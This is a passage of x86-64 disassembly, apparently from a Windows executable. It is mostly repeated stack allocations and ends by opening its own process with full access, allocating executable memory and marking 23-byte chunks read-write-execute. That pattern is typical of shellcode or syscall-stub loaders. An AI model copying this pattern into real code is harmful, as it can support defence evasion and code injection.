mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1888], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1890], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1898], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x18a0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x18a8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x18b0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x18b8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x18c0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x18c8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x18d0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x18d8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x18e0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x18e8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x18f0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x18f8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1900], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1908], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1910], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1918], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1920], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1928], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1930], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1938], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1940], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1948], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1950], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1958], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1960], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1968], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1970], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1978], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1980], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1988], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1990], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1998], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x19a0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x19a8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x19b0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x19b8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x19c0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x19c8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x19d0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x19d8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x19e0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x19e8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x19f0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x19f8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1a00], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1a08], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1a10], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1a18], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1a20], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1a28], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1a30], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1a38], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1a40], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1a48], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1a50], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1a58], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1a60], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1a68], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1a70], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1a78], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1a80], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1a88], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1a90], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1a98], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1aa0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1aa8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1ab0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1ab8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1ac0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1ac8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1ad0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1ad8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1ae0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1ae8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1af0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1af8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1b00], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1b08], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1b10], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1b18], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1b20], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1b28], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1b30], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1b38], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1b40], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1b48], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1b50], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1b58], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1b60], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1b68], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1b70], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1b78], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1b80], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1b88], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1b90], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1b98], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1ba0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1ba8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1bb0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1bb8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1bc0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1bc8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1bd0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1bd8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1be0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1be8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1bf0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1bf8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1c00], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1c08], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1c10], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1c18], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1c20], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1c28], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1c30], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1c38], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1c40], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1c48], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1c50], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1c58], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1c60], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1c68], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1c70], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1c78], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1c80], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1c88], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1c90], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1c98], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1ca0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1ca8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1cb0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1cb8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1cc0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1cc8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1cd0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1cd8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1ce0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1ce8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1cf0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1cf8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1d00], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1d08], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1d10], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1d18], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1d20], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1d28], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1d30], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1d38], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1d40], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1d48], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1d50]
mov rcx, rsp
mov qword [rbp + 0x1d58], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1d60], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1d68], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1d70], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1d78], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1d80], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1d88], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1d90], rcx
call fcn.14003d690
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1d98], rax
mov eax, 0x50
mov qword [rbp + 0x1e10], rax
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1da0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1da8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e10]
mov rcx, rsp
mov qword [rbp + 0x1db0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1db8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e10]
mov rcx, rsp
mov qword [rbp + 0x1dc0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1dc8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e10]
mov rcx, rsp
mov qword [rbp + 0x1dd0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1dd8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1de0], rax
mov eax, 0x40
mov qword [rbp + 0x1e58], rax
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1de8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e58]
mov rcx, rsp
mov qword [rbp + 0x1df0], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1df8], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e10]
mov rcx, rsp
mov qword [rbp + 0x1e00], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1e08], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e10]
mov rcx, rsp
mov qword [rbp + 0x1e18], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1e20], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e58]
mov rcx, rsp
mov qword [rbp + 0x1e28], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1e30], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e58]
mov rcx, rsp
mov qword [rbp + 0x1e38], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1e40], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e58]
mov rcx, rsp
mov qword [rbp + 0x1e48], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1e50], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e58]
mov rcx, rsp
mov qword [rbp + 0x1e60], rcx
call fcn.14003d690
sub rsp, rax
mov rax, qword [rbp + 0x1e68]
mov rcx, rsp
mov qword [rbp + 0x1e70], rcx
call fcn.14003d690
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1e78], rax
mov dword [rbp + 0x213c], 0
sub rsp, 0x20
call fcn.140002760
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
add rsp, 0x20
mov dword [rbp + 0x2138], eax
mov r8d, dword [rbp + 0x2138]
mov ecx, 0x1fffff
xor edx, edx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_OpenProcess]
add rsp, 0x20
mov qword [rbp + 0x2130], rax
mov rcx, qword [rbp + 0x2130]
xor eax, eax
mov edx, eax
mov r8d, 0x17
mov r9d, 0x1000
sub rsp, 0x30
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r8, qword [rbp + 0x1e80]
mov rdx, qword [rbp + 0x1e88]
mov rcx, qword [rbp + 0x1e90]
add rsp, 0x30
mov r9, rax
mov rax, qword [rbp + 0x1e98]
mov qword [rbp + 0x2128], r9
mov r9, qword [rbp + 0x2128]
add r9, 0x17
mov qword [rbp + 0x2120], r9
mov r9, qword [rbp + 0x2120]
add r9, 0x17
mov qword [rbp + 0x2118], r9
mov r9, qword [rbp + 0x2118]
add r9, 0x17
mov qword [rbp + 0x2110], r9
mov r9, qword [rbp + 0x2110]
add r9, 0x17
mov qword [rbp + 0x2108], r9
mov r9, qword [rbp + 0x2108]
add r9, 0x17
mov qword [rbp + 0x2100], r9
mov r9, qword [rbp + 0x2100]
add r9, 0x17
mov qword [rbp + 0x20f8], r9
mov r9, qword [rbp + 0x20f8]
add r9, 0x17
mov qword [rbp + 0x20f0], r9
mov r9, qword [rbp + 0x20f0]
add r9, 0x17
mov qword [rbp + 0x20e8], r9
mov r9, qword [rbp + 0x20e8]
add r9, 0x17
mov qword [rbp + 0x20e0], r9
mov r9, qword [rbp + 0x20e0]
add r9, 0x17
mov qword [rbp + 0x20d8], r9
mov r9, qword [rbp + 0x20d8]
add r9, 0x17
mov qword [rbp + 0x20d0], r9
mov r9, qword [rbp + 0x20d0]
add r9, 0x17
mov qword [rbp + 0x20c8], r9
mov r9, qword [rbp + 0x20c8]
add r9, 0x17
mov qword [rbp + 0x20c0], r9
mov r9, qword [rbp + 0x20c0]
add r9, 0x17
mov qword [rbp + 0x20b8], r9
mov r9, qword [rbp + 0x20b8]
add r9, 0x17
mov qword [rbp + 0x20b0], r9
mov r9, qword [rbp + 0x20b0]
add r9, 0x17
mov qword [rbp + 0x20a8], r9
mov r9, qword [rbp + 0x20a8]
add r9, 0x17
mov qword [rbp + 0x20a0], r9
mov dword [rbp + 0x209c], 0
mov qword [r8], 0
mov dword [rdx], 0
mov dword [rcx], 0
mov qword [rax], 0
mov rax, qword [rbp + 0x2128]
mov qword [0x1401d0040], rax
mov rcx, qword [rbp + 0x2128]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x2120]
mov qword [0x1401d0048], rax
mov rcx, qword [rbp + 0x2120]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x2118]
mov qword [0x1401d0050], rax
mov rcx, qword [rbp + 0x2118]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x2110]
mov qword [0x1401d0058], rax
mov rcx, qword [rbp + 0x2110]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x2108]
mov qword [0x1401d0060], rax
mov rcx, qword [rbp + 0x2108]
mov edx, 0x17
mov r8d, 0x40
lea r9, [rbp + 0x209c]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov rax, qword [rbp + 0x2100]
mov qword [0x1401d0068], rax
mov rcx, qword [rbp + 0x2100]
mov edx, 0x17
mov r8d, 0x40
